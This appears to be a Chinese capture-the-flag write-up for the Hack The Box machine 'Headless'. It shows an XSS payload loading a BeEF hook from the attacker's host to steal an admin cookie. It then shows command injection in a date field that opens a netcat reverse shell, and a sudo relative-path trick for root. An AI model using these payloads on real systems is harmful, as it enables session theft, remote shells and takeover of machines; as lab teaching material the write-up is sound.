Headless(HTB Easy)

基本信息

  • IP:10.10.11.8
  • 域名:headless.htb

信息收集

nmap -sT --min-rate 10000 -p- 10.10.11.8 --unprivileged
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     <title>Under Construction</title>

5000 是 Flask/Werkzeug Web。映射 hosts:

vim /etc/hosts
10.10.11.8 headless.htb

访问 http://headless.htb:5000。

User

页面有提交表单,先试 XSS。启动 beef-xss,把 hook 带进 payload,例如:

<script src="http://<VPN_IP>:3000/hook.js"></script>

直接打页面被防火墙拦截。UA 被嵌入返回页,改 User-Agent:

User-Agent: <script src="http://10.10.16.3:3000/hook.js"></script>

beef-xss 收到 hook。Commands 里用 GetCookie 拿到:

Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

目录扫描:

gobuster dir -u http://headless.htb:5000 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
/support              (Status: 200) [Size: 2363]
/dashboard            (Status: 500) [Size: 265]

/dashboard 需要管理员 cookie。带上 cookie 后是一个 date 提交页。Burp 重放,在 date=2023-09-15 后加 ";id":

Systems are up and running! uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)

确认命令执行。本机监听:

nc -lnvp 4444

payload:

date=2023-09-15;nc+-e+/bin/bash+10.10.16.3+4444

升级交互:

python3 -c 'import pty;pty.spawn("/bin/bash")'

拿到 user。

Root

sudo -l
cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

$EUID -ne 0 说明脚本以 root 跑。最后用相对路径调用 ./initdb.sh,可在可写目录放同名脚本:

cd /tmp
echo -e '#!/bin/bash\n/bin/bash' > /tmp/initdb.sh
chmod +x /tmp/initdb.sh
sudo /usr/bin/syscheck

执行成功,拿到 root。

至此已经获得机器所有权限。